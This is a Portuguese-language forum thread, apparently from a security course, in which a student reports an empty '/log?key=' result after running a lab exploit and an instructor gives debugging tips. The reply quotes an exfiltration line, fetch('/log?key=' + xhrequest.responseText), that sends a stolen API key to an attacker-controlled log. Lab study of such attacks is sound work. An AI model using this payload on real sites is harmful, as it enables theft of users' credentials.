Tentei de algumas maneiras diferentes mas nada mudou.
Após fazer o Exploit o "/log?key=" fica vazio como na imagem abaixo, alguem sabe como solucionar isso?!
Tentei de algumas maneiras diferentes mas nada mudou.
Após fazer o Exploit o "/log?key=" fica vazio como na imagem abaixo, alguem sabe como solucionar isso?!
Olá, Luan! Tudo bem com você?
Peço desculpa pela demora em responder o seu tópico.
Primeiramente, verifique se você inseriu corretamente a URL do seu laboratório na variável url do script. A URL deve ser a do laboratório que você está trabalhando, e não a que está no exemplo.
Em segundo lugar, é importante garantir que o script esteja sendo executado corretamente. No código, a função fetch("/log?key=" + xhrequest.responseText) é chamada apenas quando a requisição HTTP é finalizada com sucesso. Se houver algum problema na requisição, a função fetch não será chamada e, portanto, o log ficará vazio.
Para verificar se a requisição HTTP está sendo feita corretamente, você pode adicionar alguns comandos de log no script. Por exemplo, você pode adicionar console.log(xhrequest.status) antes do if (xhrequest.readyState == XMLHttpRequest.DONE). Isso mostrará no console do navegador o status da requisição HTTP. Se o status for 200, significa que a requisição foi bem-sucedida.
Além disso, você pode adicionar console.log(xhrequest.responseText) dentro do if (xhrequest.readyState == XMLHttpRequest.DONE), antes do fetch. Isso mostrará no console do navegador a resposta da requisição HTTP. Se a resposta contiver a chave da API, então o problema está no fetch.
Espero ter ajudado e bons estudos!